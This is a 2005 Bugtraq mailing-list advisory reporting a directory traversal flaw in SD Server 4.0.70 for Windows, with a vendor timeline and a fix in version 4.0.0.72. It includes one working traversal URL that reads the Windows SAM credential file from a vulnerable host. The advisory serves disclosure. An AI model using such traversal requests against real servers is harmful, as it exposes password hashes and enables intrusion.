[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    SD Server 4.0.70 Directory Traversal Bug
From:       "CorryL" <corryl () sitoverde ! com>
Date:       2005-02-22 18:40:31
Message-ID: 000f01c5190d$fd6a5280$0100a8c0 () server
[Download RAW message or body]

..:x0n3-h4ck Italian Security Team:..

/*Advisories*\

*/

Application: SD Server

Url Vendor: http://www.gdsoftware.dk/

Version: <= 4.0.70

Platforms: Windows

Bug: Directory Traversal

Exploitation: Remote

Author: CorryL

Email Author: corryl80@gmail.com

Url Author: www.x0n3-h4ck.org

*\

{Description}

The SD Server is a easy http server, A remote user can obtain files on the
system that are located outside of
the web document directory.


{Bug}

http://victimhost/../../../windows/repair/sam

A remote user succeeds to read the file sam of the system where to be in
execution SD Server.

{Vendor Status}

20/02/2005 Vendor notification

20/02/2005 Vendor response

21/02/2005 Vendor Fix the Bug

{Fix}

In version 4.0.0.72

http://www.gdsoftware.dk/dl_file.asp?link=SDServer 4.0.0.72.zip

CorryL
corryl80@gmail.com
www.x0n3-h4ck.org
Italian Security Team

_________________________________
www.seekstat.it is your web stat
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic